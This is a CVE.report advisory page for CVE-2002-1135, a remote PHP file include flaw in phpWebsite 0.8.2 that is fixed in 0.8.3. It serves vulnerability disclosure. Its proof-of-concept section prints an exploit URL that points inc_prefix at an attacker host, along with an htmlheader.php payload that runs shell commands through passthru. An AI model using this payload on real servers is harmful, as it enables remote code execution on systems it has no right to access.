phpWebsite PHP File Include Vulnerability

BID:5779

Info

phpWebsite PHP File Include Vulnerability

Bugtraq ID: 5779
Class: Configuration Error
CVE: CVE-2002-1135
Remote: Yes
Local: No
Published: Sep 23 2002 12:00AM
Updated: Jul 11 2009 05:06PM
Credit: Discovery credited to Tim Vandermeersch.
Vulnerable: phpWebsite phpWebsite 0.8.2
Not Vulnerable: phpWebsite phpWebsite 0.8.3

Discussion

phpWebsite PHP File Include Vulnerability

A vulnerability has been discovered in phpWebsite which allows an attacker to remotely include a malicious PHP file. It is possible for an attacker to specify a remote location for phpWebsite to download an attacker-supplied htmlheader.php script.

This issue could be exploited to execute arbitrary commands within the context of the webserver process.

Exploit / POC

phpWebsite PHP File Include Vulnerability

No exploit is required.

The following proof of concept has been supplied by Tim Vandermeersch:

http://SERVER/catalog/inludes/include_once.php?inc_prefix=http://MYBOX/

--- htmlheader.php ---
<?php echo "<?php passthru("/bin/ls");?>" ?> .

Solution / Fix

phpWebsite PHP File Include Vulnerability

Solution:
An updated modsecurity.php script has been released.

The vendor has addressed the issue in v0.8.3:


phpWebsite phpWebsite 0.8.2

References

phpWebsite PHP File Include Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report